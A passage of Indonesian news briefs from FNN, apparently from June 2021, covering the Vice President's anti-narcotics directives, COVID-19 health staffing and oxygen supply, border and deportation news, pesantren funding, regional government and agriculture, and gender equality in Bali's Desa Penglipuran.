Barat dapat tercapai. "Keberhasilan Program Tol Langit akan mendorong inovasi, percepatan, dan perluasan integrasi ekonomi dan keuangan digital di Tanah Papua Barat dan Papua dalam ekosistem digital nasional," ujarnya. Oleh karena itu, Wapres meminta jajaran pemerintah daerah, Bank Indonesia, dan pihak swasta untuk berkolaborasi agar digitalisasi di berbagai daerah terpencil Indonesia berjalan baik. "Saya minta Bank Indonesia, pemerintah pusat dan daerah serta swasta untuk bekerja sama dan berkolaborasi lebih erat, agar program digitalisasi dapat berjalan baik melalui peningkatan literasi digital," kata Wapres lagi. Wapres menyatakan, peningkatan literasi digital di masyarakat dapat memperbaiki kesejahteraan dan perekonomian masyarakat, antara lain melalui sektor pariwisata dan usaha mikro, kecil dan menengah (UMKM). Wapres juga meminta Kementerian Komunikasi dan Informatika untuk memperluas jangkauan penerima manfaat program digitalisasi nasional, seperti Digital Leadership Academy, Digital Talent Scholarship, dan Gerakan Nasional Literasi Digital Siberkreasi bagi warga Papua dan Papua Barat. (mth)

Satgas Pamtas Bantu Kemajuan Dunia Pendidikan di Perbatasan

Pontianak, FNN - Selain menjaga keamanan di perbatasan Kalimantan Barat, Satgas Pamtas Yonif Mekanis (Yonmek) 642/Wanara Sakti juga ikut memajukan dunia pendidikan berupa bantuan pembagian buku dan alat tulis serta memberikan penyuluhan pertanian kepada anak-anak dan masyarakat di perbatasan Indonesia-Malaysia. "Selain mengamankan wilayah perbatasan, kami juga ingin membantu dunia pendidikan dengan membagikan buku, tas dan alat tulis kepada siswa SDN 15 Sentabeng Kecamatan Jagoi Babang, Kabupaten Bengkayang dan memberikan penyuluhan pertanian kepada Kelompok Tani Kampung Trans Desa Beruang, Kecamatan Sajingan Besar, Kabupaten Sambas," kata Dansatgas Pamtas RI-MLY Yonif Mekanis 643/Wns, Letkol (Inf) Hendro Wicaksono saat dihubungi di Entikong, Senin. Dia mengatakan kegiatan yang dilakukan Satgas Pamtas di Pos Sentabeng tersebut untuk membantu kesulitan masyarakat perbatasan khususnya dalam bidang pendidikan, agar anak-anak di perbatasan lebih semangat belajar. “Dengan harapan pemberian tas, buku dan alat tulis itu dapat meningkatkan motivasi dan semangat belajar anak-anak di daerah dalam meraih cita-cita mereka,” ujarnya. Begitu juga kata Dansatgas, pada kegiatan penyuluhan pertanian yang di lakukan kepada Kelompok Tani Kampung Trans di Desa Beruang. Hal itu berkat bekalan pengetahuan yang diperoleh pada saat melaksanakan pembekalan tugas melalui Dinas Pertanian Kalbar dan adanya kerja sama dengan Rizky dari PPL dari PT Best, Pos Berjongkong dipimpin Danpos Letda (Inf) M Aris mencoba memberikan penjelasan pengetahuannya tentang bercocok tanam tanaman sawit yang baik dan benar. "Dalam kegiatan ini, Danpos Berjongkong bersama PPL PT Best berbagi ilmu dan teknik praktis bercocok tanam, diantaranya cara menentukan bibit, kapan waktu memupuk, menyiram dan membersihkan tanaman dari hama yang ada, harapanya dapat ditiru dan berdampak meningkatkan hasil panennya," katanya. Di tempat terpisah Danpos Berjongkong, Letda (Inf) M Aris mengatakan di dalam dunia pertanian di Indonesia sudah tidak asing lagi istilah penyuluhan pertanian, di mana penyuluhan pertanian itu sendiri sangat penting untuk meningkatkan produksi para petani. "Masih banyak petani di Indonesia yang merasa kecewa dengan hasil produksi panennya yang belum maksimal sementara usaha untuk mencapai itu telah dilakukan," katanya. Sementara itu terkait pembagian buku, tas dan alat tulis Serka Sumarsono selaku Danpos Sentabeng, mengatakan bantuan itu mungkin tidak seberapa. Namun hal ini merupakan upaya dan motivasi agar anak-anak semakin giat belajar dan menjadi generasi yang pintar.

Anggota DPR Pertanyakan Alasan Pemblokiran Dana bagi Pesantren

Jakarta, FNN - Anggota Komisi VIII DPR RI MF Nurhuda Y mempertanyakan alasan Pemerintah khususnya Kementerian Keuangan (Kemenkeu) yang memblokir dana bantuan untuk madrasah dan pesantren senilai Rp500 miliar. Dia menilai sikap tersebut kontraproduktif terhadap upaya Pemerintah untuk mengurangi potensi "learning loss" bagi pelajar madrasah dan santri pondok pesantren. "Kami mempertanyakan alasan pemblokiran dana bantuan untuk madrasah dan pesantren Rp500 miliar yang tidak kunjung turun dalam enam bulan terakhir. Ada apa, sehingga bantuan untuk pesantren dan madrasah justru tersendat," kata MF Nurhuda Y dalam keterangannya, di Jakarta, Senin. Dia menjelaskan pesantren dan madrasah merupakan tulang punggung pendidikan karakter bagi anak bangsa, karena ada ratusan ribu hingga jutaan anak-anak Indonesia merupakan peserta didik di madrasah maupun pondok pesantren di pelosok Tanah Air. Menurut Anggota Fraksi PKB DPR RI itu, di masa pandemi COVID-19, kedua entitas pendidikan tersebut juga mengalami dampak negatif karena mayoritas madrasah dan pesantren dikelola oleh masyarakat, bukan negara. "Sebagian besar operasional tergantung pada iuran dari peserta didik. Di sisi lain banyak orang tua peserta didik yang kehilangan pekerjaan, akibatnya mereka tidak mampu membayar iuran madrasah atau biaya hidup di pesantren," ujarnya. Nurhuda menilai bantuan Rp500 miliar di masa pandemi akan sangat berarti membantu biaya operasional pendidikan madrasah dan pesantren. Menurut dia, meskipun jika dibandingkan dengan jumlah madrasah dan pesantren di Indonesia, bantuan senilai Rp500 miliar tidak seberapa. "Berdasarkan catatan Kemenag pesantren di Indonesia itu sedikitnya berjumlah 26.973. Ini belum jumlah madrasah di Indonesia. Jadi Rp500 miliar itu sebenarnya relatif kecil, tapi kenapa jumlah sekecil itu saja tidak dicairkan," katanya lagi. Anggota DPR asal Jawa Tengah itu mengatakan, selama pandemi COVID-19, sekolah umum relatif lumpuh karena dilarang menyelenggarakan pembelajaran tatap muka. Selama itu pula, menurut dia, pesantren relatif dengan sistem asrama dan protokol kesehatan yang ketat tetap mampu menyelenggarakan pembelajaran tatap muka. "Pesantren menjadi garda terdepan dalam pengajaran secara tatap muka di masa pandemi. Santri tidak boleh ditengok dan tidak diperkenankan pulang dalam waktu tertentu selama pandemi," ujarnya pula. Nurhuda menilai seharusnya Pemerintah memberikan perhatian yang lebih kepada pesantren, bukan malah bantuan anggaran untuk pesantren diblokir. (sws)

Wapres Sampaikan Empat Arahan untuk BNN Perangi Narkoba

Jakarta, FNN - Wakil Presiden Ma’ruf Amin menyampaikan empat arahan bagi Badan Narkotika Nasional (BNN) untuk memerangi peredaran dan penyalahgunaan narkotika dan obat-obatan terlarang di Indonesia. "Pertama, perkuat intervensi ketahanan keluarga, mengedukasi secara dini kepada anak-anak dan masyarakat tentang bahaya penyalahgunaan narkoba," kata Wapres Ma’ruf Amin saat mengikuti acara peringatan Hari Anti Narkotika Internasional (HANI) Tahun 2021 secara daring dari kediaman resmi wapres di Jakarta, Senin. Penyampaian edukasi dini tersebut, lanjut Wapres, dengan melibatkan partisipasi organisasi terkait seperti lembaga pendidikan dan organisasi kemasyarakatan (ormas). Selanjutnya, Wapres meminta BNN mengintervensi daerah-daerah yang rawan terhadap penyalahgunaan narkoba sehingga dapat membahayakan keberlangsungan hidup masyarakat sekitar. "Kedua, mengintervensi daerah bahaya narkoba agar menjadi daerah yang bersih dari penyalahgunaan narkoba," tukasnya. Ketiga, Wapres meminta BNN menambah jumlah penyediaan layanan rehabilitasi berbasis masyarakat serta meningkatkan layanan rehabilitasi berstandar nasional. "Meningkatkan dan mempertahankan kualitas layanan rehabilitasi sesuai standar nasional, yang didukung dengan peningkatan kualitas SDM dalam pelaksanaan rehabilitasi," jelasnya. Arahan keempat, Wapres minta BNN memperkuat dan memperluas jejaring kerja sama pencegahan dan pemberantasan narkotika, baik di regional, tingkat nasional hingga internasional. Wapres mengapresiasi kinerja BNN yang telah berperan aktif dalam melakukan upaya nyata untuk memerangi sindikat narkoba. Wapres juga meminta BNN untuk tidak lengah dan tetap waspada dalam memberantas narkoba di Indonesia. "Jangan cepat berpuas diri, jangan lengah, tetap waspada dan terus tingkatkan prestasi yang telah dicapai," ujarnya. (sws)

176 Personel Tenaga Kesehatan TNI Bantu Fasilitas Kesehatan

Jakarta, FNN - Sebanyak 176 personel Tenaga Kesehatan (Nakes) TNI bantu fasilitas kesehatan yakni Wisma Atlet, Rusun Nagrak, dan Rusunawa Pasar Rumput, Jakarta. Personel tenaga kesehatan dari siswa Perwira Prajurit Karir (Pa PK) Angkatan 28 Reguler dan siswa Kursus Tenaga Kesehatan (Susgakes) Angkatan 28B TA 2021 dari Akademi Militer (Akmil) Magelang tiba Bandara Halim Perdanakusuma, Jakarta, Senin. Kabidpenum Puspen TNI, Kolonel Laut (KH) Edys Riyanto, dalam siaran persnya, di Jakarta, Senin, mengatakan kedatangan perwira siswa ini sebagai tambahan tenaga kesehatan (nakes) untuk ditugaskan di wilayah Jakarta yang masih membutuhkan nakes, khususnya di Wisma Atlet dan tempat isolasi Khusus Orang Tanpa Gejala (OTG) Rusun Nagrak serta Rusun Pasar Rumput yang juga disiapkan. Seperti yang disampaikan Panglima Marsekal TNI Hadi Tjahjanto di hadapan para dokter saat melaksanakan sidak di Rusun Nagrak Minggu (27/6/2021), bahwa TNI dan Polri akan segera mengirim tenaga kesehatan tambahan, dimana nantinya para nakes akan dibagi ke tiga tempat yaitu Wisma Atlet, Rusun Nagrak dan Rusunawa Pasar Rumput. Menurut Edys, tenaga kesehatan yang dikirim ke Jakarta terdiri dari Dokter umum 120 orang, Dokter gigi 20 orang, Keperawatan 8 orang, Farmasi Apoteker 12 orang, Fisoterapi 4 orang, Radiologi 2 orang, Kesehatan lingkungan 1 orang, Gizi 4 orang, Elektro medis 1 oŕang, Perawat gigi 1 orang, Analisa medis 2 orang dan Rekam medis 1 orang. Sementara sebelum diberangkatkan menuju Lanud Halim Perdanakusuma, seluruh siswa melaksanakan tes swab antigen terlebih dahulu di Akmil Magelang untuk memastikan bahwa mereka dalam kondisi yang bagus dan tidak terindikasi virus COVID-19. Para nakes diberangkatkan menggunakan dua pesawat Hercules A-1328 dan A-1335 milik TNI AU dari Lanud Adi Sucipto Yogyakarta menuju Lanud Halim Perdanakusuma Jakarta. (sws)

Wapres: Narkoba dan COVID-19 Adalah Musuh Bersama

Jakarta, FNN - Wakil Presiden (Wapres) Ma’ruf Amin mengatakan narkoba dan COVID-19 merupakan dua musuh bersama yang dihadapi oleh seluruh negara di dunia, termasuk Indonesia, karena berimbas pada semua lini kehidupan manusia. "Hingga saat ini, seluruh negara dan masyarakat internasional masih menghadapi dua musuh bersama, yaitu bencana kesehatan yang menjadi ancaman bagi kemanusiaan di abad ini yaitu COVID-19 dan narkotika," kata Wapres Ma’ruf Amin, saat mengikuti acara peringatan Hari Anti Narkotika Internasional (HANI) Tahun 2021 secara daring dari kediaman resmi Wapres, di Jakarta, Senin. Merujuk pada data Kantor Perserikatan Bangsa-Bangsa Urusan Obat-obatan dan Kejahatan atau UNODC (United Nations Office on Drugs and Crime), Wapres mengatakan sebanyak 275 juta orang di seluruh dunia menggunakan narkoba pada 2020. "Antara tahun 2010-2019, jumlah orang yang menggunakan narkoba meningkat sebesar 22 persen, sementara secara global jumlah pengguna narkoba diperkirakan akan meningkat 11 persen sampai 2030," ujar Wapres. Berdasarkan hasil survei yang dilakukan Badan Narkotika Nasional (BNN) dan Lembaga Ilmu Pengetahuan Indonesia (LIPI), Wapres mengatakan angka penyalahgunaan narkoba di Indonesia mencapai 3.419.188 orang. "Sehingga dapat dikatakan terdapat 180 dari tiap 10.000 penduduk Indonesia berumur 15 hingga 64 tahun terpapar memakai narkoba," katanya pula. Permasalahan penyalahgunaan narkoba di Indonesia pun juga beragam, antara lain penyelundupan narkoba lewat jalur laut oleh jaringan sindikat, peredaran narkoba jenis baru, serta penyalahgunaan oleh penduduk usia produktif 15-64 tahun. "Peredaran narkoba juga sudah merambah hingga ke desa‐desa serta melibatkan kalangan perempuan dan anak-anak, baik sebagai kurir maupun penyalahguna," ujarnya lagi. Karena itu, Wapres mendorong BNN untuk terus berupaya dan meningkatkan kinerjanya guna memerangi narkoba di Indonesia. "Saya minta kepada BNN yang merupakan leading sector dalam P4GN (Pencegahan dan Pemberantasan Penyalahgunaan dan Peredaran Gelap Narkotika) untuk melakukan langkah-langkah strategis," ujar Wapres pula. (sws)

Gubernur Kepri Lantik Wakil Wali Kota Tanjungpinang Endang Abdullah

Tanjungpinang, FNN - Gubernur Provinsi Kepulauan Riau (Kepri) Ansar Ahmad melantik Wakil Wali Kota Tanjungpinang sisa masa jabatan 2018-2023 Endang Abdullah di Gedung Daerah, Tanjungpinang, Senin. Pelantikan dilaksanakan secara tatap muka, namun tetap mematuhi protokol kesehatan. Para tamu undangan yang hadir wajib memakai masker, menjaga jarak, dan mencuci tangan. Ansar dalam sambutannya meminta Wakil Wali Kota Endang Abdullah usai dilantik, dapat berkolaborasi dengan Wali Kota Rahma dalam mewujudkan visi-misi melalui pemenuhan aspirasi dan kebutuhan warga. "Bangun sinergi yang baik dengan pemangku kepentingan terkait guna mendorong kemajuan daerah," kata Ansar Ahmad. Ansar juga berpesan bahwa tugas kepala daerah dewasa ini sangat berat, karena menjalankan roda pemerintahan di tengah kondisi pandemi COVID-19. Dia menekankan tiga tugas utama Pemerintah Daerah saat ini, antara lain pertama Pemda harus semangat dan kerja keras dalam menurunkan angka COVID-19, melalui 3 T (tracing, testing, treatment) serta penegakan protokol kesehatan di tempat dan fasilitas umum. Kedua, mendukung program vaksin COVID-19 dengan memastikan pelaksanaan vaksinasi tepat waktu dan tepat sasaran. Ketiga, pemulihan ekonomi sebagian dampak pandemi dengan menggerakkan semua sumber daya pemerintah dan stimulus melalui sektor swasta guna memulihkan ekonomi umumnya Provinsi Kepri yang minus 3,80 persen di tahun 2020, agar tumbuh positif di tahun 2021. Ansar juga berpesan khusus pada situasi COVID-19 ini, Wakil Wali Kota Tanjungpinang fokus membangun ekonomi, meningkatkan daya beli masyarakat, menciptakan lapangan kerja, mengurangi angka kemiskinan, mengurangi kesenjangan pembangunan terutama di kawasan hinterland, mendorong industri berbasis lokal, serta pelestarian lingkungan hidup dan budaya maritim. "Terakhir, saya ingatkan bahwa pergantian kepala daerah merupakan dinamika politik. Sehingga, semua pihak harus dapat menerima pelantikan ini dan mendukung penuh tugas wali kota dan wakil wali kota dalam membangun Tanjungpinang, Kota Gurindam," demikian Ansar. (sws)

Wapres Canangkan Desa Bersih Narkoba

Jakarta, FNN - Wakil Presiden Ma’ruf Amin mencanangkan program Desa Bersih Narkoba (Bersinar) sebagai salah satu upaya berkesinambungan Pencegahan dan Pemberantasan Penyalahgunaan dan Peredaran Gelap Narkotika (P4GN) dari Badan Narkotika Nasional (BNN). "Berkenaan dengan program berkesinambungan dalam upaya implementasi Rencana Aksi Nasional (RAN) P4GN, maka hari ini saya canangkan Program Desa Bersih Narkoba atau Desa Bersinar menuju Indonesia Bersih Narkoba," kata Wapres Ma’ruf saat mengikuti acara peringatan Hari Anti Narkotika Internasional (HANI) Tahun 2021 secara daring dari kediaman resmi wapres di Jakarta, Senin. Program Desa Bersinar tersebut sejalan dengan prioritas pembangunan nasional terkait pembangunan yang dimulai dari desa, kata Wapres. Masyarakat desa, lanjutnya, merupakan ujung tombak dari upaya pemulihan ekonomi nasional untuk mencapai tujuan pembangunan berkelanjutan atau Sustainable Development Goals (SDGs). "Masyarakat desa memiliki potensi dan kekuatan besar dalam melawan narkoba secara bersama-sama," tukasnya. Untuk mencapai keberhasilan pembangunan nasional tersebut, maka diperlukan desa dengan lingkungan kondusif, aman serta layak bagi masyarakat untuk beraktivitas dan berkreasi. "Terutama memenuhi kebutuhan keluarga untuk membesarkan anak-anak yang menjadi masa depan bangsa," kata Wapres. Sementara itu, Kepala BNN Komjen Pol. Petrus Reinhard Golose mengatakan hingga saat ini terdapat 553 desa dan kelurahan yang bersih dari narkoba. Selain itu ada pula 14 desa di Aceh yang masuk dalam program Grand Design Alternative Development (GDAD) BNN. "BNN telah melaksanakan tugas antara lain program Desa Bersinar di 553 desa dan kelurahan serta Program GDAD 14 desa di Aceh dan 128 desa kawasan rawan narkoba," kata Petrus. Petrus juga menyebutkan tiga langkah strategis BNN dalam memerangi narkoba, yaitu soft power approach, hard power approach dan smart power approach. Pendekatan soft power merupakan aktivitas pencegahan agar masyarakat memiliki ketahanan diri dan daya tangkal terhadap penyalahgunaan narkotika, jelas Petrus. Sementara pendekatan hard power ialah dengan mengutamakan penegakan hukum secara tegas dan terukur dalam menangani sindikat narkoba. "Smart power approach yaitu penggunaan informasi di era digital dalam upaya penanggulangan," ujarnya. (sws)

KJRI Bantu Pemulangan 32 WNI Melalui PLBN Entikong

Pontianak, FNN - Konsulat Jenderal Republik Indonesia (KJRI) di Kuching kembali memberikan bantuan pemulangan /deportasi 32 WNI dari Depo Imigrasi Semuja, Sarawak melalui Pos Lintas Batas Negara (PLBN) Entikong, Kalimantan Barat, karena tidak memiliki dokumen keimigrasian sah. "Sebanyak 32 orang WNI bermasalah dari Depo Imigrasi Semuja, Sarawak, pada hari Minggu (27/6) dideportasi ke Indonesia. Mereka terdiri dari 29 orang laki- laki dan tiga orang perempuan melalui PLBN Entikong," kata Kepala KJRI Kuching Yonny Tri Prayitno saat dihubungi dari Pontianak, Senin. Yonny mengatakan, KJRI Kuching membantu dan ikut mengawasi proses pemulangan mereka melalui PLBN Entikong, Kabupate Sanggau, Provinsi Kalimantan Barat. "Sebelumnya kami juga dari KJRI Kuching juga membantu melengkapi dokumen perjalanan mereka dan sehari sebelumnya mereka juga melakukan proses tes usap COVID-19 yang hasilnya semua negatif," kata Yonny. Dari 32 orang warga negara Indonesia yang dideportasi itu, berasal dari berbagai daerah atau provinsi di Indonesia, seperti dari Kalbar, Sulawesi, Jawa dan NTB. Sedangkan, proses deportasi 32 orang WNI bermasalah tersebut berjalan dengan lancar, mulai dari perjalanan dari Depo Imigrasi Semuja, Sarawak hingga ke PLBN Entikong. "Di PLBN Entikong mereka diterima Satgas Pemulangan WNI/PMI dan akan dipulangkan ke daerah masing-masing setelah melalui proses penanganan pencegahan COVID-19," katanya. (sws)

MPR Ajak Warga Terlibat Perbaiki Lingkungan dan Ekosistem

Jakarta, FNN - Wakil Ketua MPR RI Fadel Muhammad mengajak masyarakat khususnya di Kabupaten Gorontalo untuk terlibat aktif dalam memperbaiki lingkungan dan ekosistem. Salah satunya menurut dia dengan memanfaatkan bantuan yang diberikan pemerintah secara bersungguh-sungguh yaitu menjaga dan merawat bibit tanaman yang diberikan dengan baik agar bisa berproduksi secara maksimal. "Pak Nelson, Bupati Gorontalo bilang, beliau punya rencana membuka kawasan di sini menjadi kecamatan konservasi. Mari bersama sama kita rawat dan jaga bantuan ini agar pada saatnya bisa menghasilkan buah-buahan yang bagus dan bisa berkontribusi menyejahterakan masyarakat," kata Fadel Muhammad dalam keterangannya di Jakarta, Senin. Hal itu dikatakan Fadel usai menyaksikan penyerahan bantuan 5.000 bibit pohon buah-buahan kepada masyarakat Desa Dulamayo Utara, Kecamatan Telaga, dan satu unit Kebun Bibit Rakyat (KBR) kepada masyarakat Desa Biluhu Barat, Kecamatan Biluhu, Kabuapten Gorontalo, Minggu (27/6). Fadel menilai rencana pembentukan kecamatan konservasi akan berdampak baik bagi masyarakat karena penanaman pohon buah-buahan akan mengurangi risiko kerusakan hutan. Selain itu menurut dia juga memberikan penghasilan bagi masyarakat dan berpotensi menjadikan kecamatan konservasi sebagai pusat buah di Gorontalo. "Kalau skenario ini berhasil, nantinya kita akan mendorong kecamatan konservasi sebagai wilayah agrowisata buah-buahan. Masyarakat tidak hanya datang untuk membeli buah, tapi juga berwisata alam sehingga makin banyak pendapatan masyarakat yang bisa diperoleh," ujarnya. Dalam kesempatan tersebut, Plt Direktur Jenderal Pengendalian Das dan Hutan Lindung (PDASRH) Kementerian Kehutanan dan Lingkungan Hidup Helmi Basalamah mengatakan pemberian bantuan kepada masyarakat Desa Dulamayo Utara, Kecamatan Telaga, dan Desa Biluhu Barat, Kecamatan Biluhu, Kabupaten Gorontalo, merupakan upaya pemerintah mengajak serta masyarakat untuk terlibat dalam perbaikan lingkungan dan restorasi ekosistem. "Apalagi, saat ini 30 persen hutan di Gorontalo termasuk dalam wilayah hutan kritis. Kami memiliki banyak program pelibatan masyarakat dalam perbaikan lingkungan dan restorasi ekosistem namun itu akan diberikan secara bertahap dan terus meningkat," kata Helmi Basalamah. Fadel didampingi Bupati Gorontalo Nelson Pomalingo menyaksikan penyerahan bantuan 5.000 bibit pohon buah-buahan kepada masyarakat Desa Dulamayo Utara, Kecamatan Telaga, dan satu unit Kebun Bibit Rakyat (KBR) kepada masyarakat Desa Biluhu Barat, Kecamatan Biluhu, Kabuapten Gorontalo. Bantuan disampaikan Plt Direktur Jenderal PDASRH Helmi Basalamah, acara tersebut berlangsung di balai pertemuan Desa Dulamayo Utara, Kecamatan Telaga, Kabuapten Gorontalo, Provinsi Gorontalo, Minggu (27/6). Penyerahan bantuan bibit pohon buah-buahan dan KBR dilakukan dalam rangka Peringatan Hari Lingkungan Hidup Sedunia tahun 2021. Selain penyerahan bantuan, Peringatan Hari Lingkungan Hidup Sedunia yang jatuh setiap tanggal 5 Juni juga ditandai dengan penanaman pohon durian, yang dilakukan Wakil Ketua MPR. (mth)

Sejumlah Daerah di Karawang Sudah Masuki Musim Panen

Karawang, FNN - Dinas Pertanian Kabupaten Karawang, Jawa Barat, menyatakan areal sawah di sejumlah daerah sekitar Karawang sudah memasuki musim panen. "Sejak Januari sampai Mei, beberapa daerah ada yang sudah panen," kata Kepala Dinas Pertanian setempat Hanafi, di Karawang, Senin. Termasuk pada Juni, ada beberapa titik areal pertanian di Karawang yang sudah panen. Data Dinas Pertanian Karawang, hingga akhir Mei 2021 jumlah total areal sawah yang sudah panen mencapai 50.289 hektare. "Rata-rata panen 7 ton per hektare," katanya. Ia mengatakan, dilihat dari luas areal sawah yang panen hingga mencapai 50.289 hektare dengan rata-rata produksi 7 ton per hektare, itu menandakan kalau stok pangan Karawang aman. Hanafi berharap Bulog segera melakukan penyerapan gabah petani, agar harga gabah kering panen di wilayah Karawang terjaga. "Kami sudah menyurati Bulog Karawang agar segera menyerap gabah petani sesuai dengan HPP (Rp4.200 per kilogram)," katanya. (mth)

Polri Belum Temukan Indikasi Penimbunan Tabung Oksigen

Jakarta, FNN - Hasil pengecekan Kepolisian Republik Indonesia belum ditemukan indikasi penimbunan tabung oksigen oleh oknum sehingga menyebabkan terjadi kelangkaan di pasaran. Kepala Divisi Humas Polri Irjen Pol Argo Yuwono saat dikonfirmasi Senin, mengatakan kelangkaan tabung oksigen di pasaran karena diprioritaskan untuk kecukupan di rumah sakit. "Ketersediaan tabung oksigen berkurang karena distributor memprioritaskan ke rumah sakit-rumah sakit," kata Argo. Sebelumnya, Polri melakukan pengecekan di lapangan untuk menindaklanjuti kelangkaan tabung oksigen di pasaran yang terjadi beberapa hari terakhir. Pengecekan ini guna memastikan ketersediaan tabung oksigen untuk pasien COVID-19 dan mengantisipasi penimbunan. "Segala kemungkinan dilihat, apakah karena banyak yang pakai dibandingkan dengan stok," kata Argo. Salah satu kendala yang dihadapi pedagang tabung oksigen di Pasar Pramuka, Jakarta Timur yang mengalami kelangkaan stok tabung oksigen karena masalah distribusi. Menteri Kesehatan Budi Gunadi Sadikin sudah meminta Panglima TNI Marsekal Hadi Tjahjanto dan Kapolri Jenderal Pol Listyo Sigit Prabowo untuk memastikan keamanan dan kelancaran logistik tabung oksigen dari pabrik ke rumah sakit. Selain itu, Menteri Kesehatan Budi Gunadi Sadikin mengatakan pihaknya sudah berkoordinasi dengan para produsen oksigen untuk mengalihkan oksigen segmen industri guna pemenuhan kebutuhan rumah sakit dalam menghadapi peningkatan kasus COVID-19. “Kami sudah mendapatkan komitmen dari supplier (pemasok) oksigen ini, bahwa mereka bisa mengalihkan kapasitas oksigen buat industri ke medis, karena kapasitas oksigen industri itu bisa diisi oleh perusahaan-perusahaan oksigen lainnya,” kata Budi dalam konferensi pers daring yang disiarkan Youtube Sekretariat Presiden di Jakarta, Jumat (25/6). Saat ini terdapat 4 pabrik tabung oksigen berada di Jawa Barat, satu pabrik di Jawa Tengah, dan empat pabrik di Jawa Timur. Jika di Jawa Tengah terdapat kelangkaan tabung oksigen, maka pasokan dari Jawa Barat dan Jawa Timur akan mengkompensasi pemenuhan kebutuhan tersebut. (mth)

Belajar Kesetaraan Gender dari Desa Penglipuran Bali

Jakarta, FNN - Desa Penglipuran, Kabupaten Bangli, Provinsi Bali sudah tersohor di pelosok negeri dengan julukan desa terbersih di dunia. Desa ini pun seringkali menjadi tujuan wisata ramah lingkungan (eco-friendly) bagi warga yang ingin merasakan sejuknya udara perdesaan yang segar, asri dan tanpa sampah. Namun di desa ini, tidak hanya sekadar memiliki nilai dari sisi kebersihan, serta pariwisatanya. Adapun desa ini sangat menjunjung kesetaraan gender. Baik laki-laki maupun perempuan bekerja sama dalam membangun perekonomian keluarga. Astri Widyani, salah satu penduduk Desa Panglipuran juga bekerja membuat canang sesajen untuk dijual, demi membantu suaminya yang bekerja sebagai guru honorer. "Saat pandemi COVID-19 enggak bisa ngapa-ngapain, di rumah aja tapi dapur harus tetap ngebul. Jadi saya bikin canang, ada yang masih bisa ke ladang ya kembali ke ladang," kata Astri. Sebelum pandemi COVID-19, desa tersebut memang bertumpu pada pariwisata dan penjualan oleh-oleh khas Desa Panglipuran seperti aksesoris, loloh cemcem (minuman khas daun cemcem atau daun kloncing) dan tipat cantok (makanan sejenis ketupat dan sayuran rebus yang kemudian disajikan bersama dengan bumbu kacang), hingga festival budaya. Di desa tersebut, menurut Asri, hampir 80 persen penduduknya berjualan, kemudian bekerja di bidang pariwisata maupun menjadi pegawai negeri sipil. "Selama pandemi 'nggak bisa dipungkiri warga sini mayoritas berjualan, jadi dari sini aja. Ada orang sini yang juga jadi pegawai negeri, pokoknya berasa banget pas pandemi," katanya. Namun Astri tidak menyerah bekerja sama dengan suaminya demi menghidupi keluarga kecilnya dengan dua anak. Kehidupan mereka kembali normal perlahan saat di bulan Desember 2020, Desa Penglipuran kembali dibuka untuk wisatawan dengan protokol kesehatan COVID-19 ketat. Karang Memadu Selain soal emansipasi yang setara antara laki-laki dan perempuan yang saling bekerja sama dalam keluarga, di Desa Panglipuran, tidak banyak yang tahu di desa tersebut memiliki aturan adat, yakni dilarang melakukan poligami maupun poliandri. Desa tersebut memiliki satu tempat tersendiri, yakni Karang Memadu, sebuah tempat pengucilan di desa tersebut bagi pelaksana poligami dan poliandri. Tempat tersebut berada khusus di bawah kaki Desa Penglipuran. "Pertama, di sini ada orang tua kami leluhur kami menyampaikan bahwa kalau mau hidup rukun dalam satu keluarga cukup satu istri satu suami sepasang. Selanjutnya untuk emansipasi, atau katakanlah menghargai hak asasi, yaitu kesetaraan gender," kata Ketua Pelaksana Wisata Desa Penglipuran, Nengah Moneng. Nengah mengatakan hal tersebut disepakati anggota adat itu sendiri dan menjadi awig-awig (tata krama). Ada tiga level penduduk di dalam Desa Penglipuran yakni krama (warga) desa adat, krama tamu, dan tamu. Aturan tersebut hanya mengikat pada krama desa adat meski domisilinya telah di luar desa. "Itu akan tetap terikat. Kami juga punya keluarga di Yogyakarta, Jakarta, selama dirinya masih terikat sebagai anggota krama, kita pertahankan terus," kata Nengah. Jumlah penduduk di Desa Penglibpuran kurang lebih 1.111 jiwa, dengan jumlah antara perempuan dan laki-laki hampir seimbang. Adapun perempuan yang berada di desa tersebut sangat produktif. Meski memegang peranan rumah tangga, ada juga yang menjadi pengrajin, penjual bibit bunga, bertani dan beternak. Selain itu ada yang berjualan hasil karya yang dijual secara daring. "Perempuan atau laki-laki harus berkolaborasi di rumah tangganya masing-masing dan menjaga kehidupan yang primer," katanya. Layak perempuan dan anak Di Kabupaten Bangli sendiri kini tengah berupaya mewujudkan kabupaten layak anak dan perempuan, meski sudah dilaksanakan sejak lama dan turun temurun secara adat. Di samping itu, Kepala Dinas Pengendalian Penduduk, Keluarga Berencana, Pemberdayaan Perempuan dan Perlindungan Anak (DP2KBP3A) Kabupaten Bangli, I Wayan Jimat menilai Desa Penglipuran dapat menjadi Desa Ramah Perempuan dan Peduli Anak (DRPPA) yang dicanangkan Kementerian Pemberdayaan Perempuan dan Perlindungan Anak (KemenPPPA) dan Kementerian Desa, PDT dan Transmigrasi (Kemendes PDTT) Ia mengatakan dalam melaksanakan DRPPA tersebut, pihaknya akan berkoordinasi dengan pimpinan daerah, khsusnya juga aparat desa dan pemimpin desa adat setempat. "Peran desa sangat signifikan di dalam melaksanakan program-program kami di pemberdayaan perempuan dan perlindungan anak, salah satu contohnya di sini ada yang namanya Karang Memadu," katanya. Karang Memadu sendiri, menurut dia, merupakan cara efektif membentuk tatanan desa yang ramah perempuan dan peduli anak. Pelakunya diberikan tempat pengasingan yang sangat berbeda dengan rumah yang lain. "Kalau dalam konteks adat, yang membedakan jika ada di rumah karang itu rasa malunya luar biasa. Itu efektif sekali mencegah poligami, karang memadunya jadi kosong," katanya. Dengan adanya sanksi adat tersebut, diharapkan adanya tatanan kehidupan yang tentram dan nyaman bagi penduduk desa. I Wayan Jimat mengatakan data terakhir dari segi penilaian mandiri pihaknya sudah mencapai penilaian angka 836 dari lima klaster yang mereka laksanakan. Besar harapan kehidupan di Desa Penglipuran tidak hanya dinobatkan sebagai desa terbersih di dunia, namun menjadi desa yang tenteram dan aman untuk menjadi tempat pemberdayaan perempuan dan perlindungan anak. Diharapkan Desa Penglipuran menjadi contoh bagi daerah lainnya untuk menjadikan Negara Indonesia meminimalisasi korban budaya patriarki, serta mengurangi korban kekerasan yang seringkali dialami perempuan dan anak, terlebih di masa pandemi COVID-19. (mth)

Wapres: Perang Lawan Narkoba Perlu Sinergisme

